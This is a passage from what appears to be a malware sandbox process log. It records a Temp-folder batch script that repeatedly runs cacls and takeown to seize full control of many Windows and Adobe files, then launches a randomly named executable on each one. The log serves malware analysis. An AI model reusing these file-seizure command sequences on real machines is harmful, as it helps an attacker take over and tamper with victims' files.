C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner3⤵PID:6896
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner4⤵PID:6920
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6948
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""2⤵PID:6832
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C3⤵PID:7028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"3⤵PID:7064
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner3⤵PID:7052
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner4⤵PID:7084
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6984
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""2⤵PID:7112
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C3⤵PID:5752
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"3⤵
- Modifies file permissions
PID:6176
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner3⤵PID:5124
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner4⤵PID:7144
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7116
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1""2⤵PID:6312
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C3⤵PID:6220
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1"3⤵PID:6400
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "settings.dat.LOG1" -nobanner3⤵PID:6204
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "settings.dat.LOG1" -nobanner4⤵PID:6252
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6484
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵PID:6548
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵PID:6464
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵PID:6452
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "device.png" -nobanner3⤵PID:6516
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "device.png" -nobanner4⤵PID:4792
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6720
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml""2⤵PID:6772
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml" /E /G Admin:F /C3⤵PID:6584
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\tasks.xml"3⤵
- Modifies file permissions
PID:6856
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "tasks.xml" -nobanner3⤵PID:6876
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "tasks.xml" -nobanner4⤵PID:6892
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6932
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json""2⤵PID:6672
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json" /E /G Admin:F /C3⤵PID:7036
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.cert.json"3⤵PID:7068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.cert.json" -nobanner3⤵PID:6980
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.cert.json" -nobanner4⤵PID:6976
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7004
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm""2⤵PID:6812
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm" /E /G Admin:F /C3⤵PID:7132
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.jfm"3⤵PID:7136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "SmsInterceptStore.jfm" -nobanner3⤵PID:6288
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "SmsInterceptStore.jfm" -nobanner4⤵PID:5428
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:3468
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml""2⤵PID:6284
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml" /E /G Admin:F /C3⤵PID:6372
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2010Win32.xml"3⤵PID:6224
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner3⤵PID:6212
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2010Win32.xml" -nobanner4⤵PID:6508
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6612
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml""2⤵PID:6652
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml" /E /G Admin:F /C3⤵PID:6588
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016Win32.xml"3⤵
- Modifies file permissions
PID:6376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner3⤵PID:6600
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016Win32.xml" -nobanner4⤵PID:6872
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6940
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml""2⤵PID:6840
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml" /E /G Admin:F /C3⤵PID:6748
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml"3⤵PID:7032
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "RoamingCredentialSettings.xml" -nobanner3⤵PID:6996
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "RoamingCredentialSettings.xml" -nobanner4⤵PID:6988
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6804
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1""2⤵PID:6824
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1" /E /G Admin:F /C3⤵PID:7108
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\Settings\settings.dat.LOG1"3⤵PID:6168
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "settings.dat.LOG1" -nobanner3⤵PID:6152
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "settings.dat.LOG1" -nobanner4⤵PID:6404
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6028
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat""2⤵PID:5488
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵PID:6216
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat"3⤵
- Modifies file permissions
PID:6556
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "settings.dat" -nobanner3⤵PID:6512
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "settings.dat" -nobanner4⤵PID:6264
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6472
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin""2⤵PID:6352
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin" /E /G Admin:F /C3⤵PID:6816
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Data.bin"3⤵
- Modifies file permissions
PID:6828
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "TileCache_100_0_Data.bin" -nobanner3⤵PID:6724
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "TileCache_100_0_Data.bin" -nobanner4⤵PID:6696
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:7072
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:7100
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:7048
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵PID:6768
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "background.png" -nobanner3⤵PID:6628
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "background.png" -nobanner4⤵PID:2752
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:3764
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml""2⤵PID:6160
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml" /E /G Admin:F /C3⤵PID:5772
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\tasks.xml"3⤵
- Modifies file permissions
PID:7160
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "tasks.xml" -nobanner3⤵PID:7128
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "tasks.xml" -nobanner4⤵PID:6360
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6592
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json""2⤵PID:6240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json" /E /G Admin:F /C3⤵PID:6228
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Diagnosis\DownloadedSettings\utc.app.json"3⤵PID:6192
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "utc.app.json" -nobanner3⤵PID:6900
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "utc.app.json" -nobanner4⤵PID:6744
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1980
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs""2⤵PID:6660
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs" /E /G Admin:F /C3⤵PID:6936
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\SmsRouter\MessageStore\edbres00002.jrs"3⤵
- Modifies file permissions
PID:6756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "edbres00002.jrs" -nobanner3⤵PID:7008
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "edbres00002.jrs" -nobanner4⤵PID:6796
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6632
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml""2⤵PID:4060
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml" /E /G Admin:F /C3⤵PID:6972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win64.xml"3⤵PID:6992
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner3⤵PID:7140
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftLync2013Win64.xml" -nobanner4⤵PID:512
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6456
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml""2⤵PID:6648
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml" /E /G Admin:F /C3⤵PID:6336
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin32.xml"3⤵PID:652
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner3⤵PID:6344
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftOffice2016BackupWin32.xml" -nobanner4⤵PID:6268
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:4024
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml""2⤵PID:3936
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml" /E /G Admin:F /C3⤵PID:6496
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftWordpad.xml"3⤵PID:6908
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "MicrosoftWordpad.xml" -nobanner3⤵PID:1100
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "MicrosoftWordpad.xml" -nobanner4⤵PID:772
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1996
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin""2⤵PID:6668
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin" /E /G Admin:F /C3⤵PID:1240
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\TileCache_100_0_Header.bin"3⤵PID:7092
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "TileCache_100_0_Header.bin" -nobanner3⤵PID:5856
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "TileCache_100_0_Header.bin" -nobanner4⤵PID:7024
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1444
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb""2⤵PID:1304
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb" /E /G Admin:F /C3⤵PID:6436
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.edb"3⤵
- Modifies file permissions
PID:500
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "vedatamodel.edb" -nobanner3⤵PID:6712
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "vedatamodel.edb" -nobanner4⤵PID:6912
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:5604
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm""2⤵PID:6172
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm" /E /G Admin:F /C3⤵PID:6764
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\TileDataLayer\Database\vedatamodel.jfm"3⤵PID:6536
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "vedatamodel.jfm" -nobanner3⤵PID:1408
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "vedatamodel.jfm" -nobanner4⤵PID:6480
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6272
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp""2⤵PID:2588
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp" /E /G Admin:F /C3⤵PID:2888
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\AcroRdrDCUpd1901020069.msp"3⤵
- Modifies file permissions
PID:6300
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner3⤵PID:6688
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "AcroRdrDCUpd1901020069.msp" -nobanner4⤵PID:7096
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:692
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:6880
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:6332
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵PID:6524
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ZPVn0rpr.exe -accepteula "superbar.png" -nobanner3⤵PID:6820
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula "superbar.png" -nobanner4⤵PID:7016
-
-
-
C:\Users\Admin\AppData\Local\Temp\ZPVn0rpr.exeZPVn0rpr.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:6616
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ugBOOzoB.bat" "C:\Users\All Users\Microsoft\Diagnosis\DownloadedScenarios\WINDOWS.PERFTRACKESCALATIONS.xml""2⤵PID:6412
-
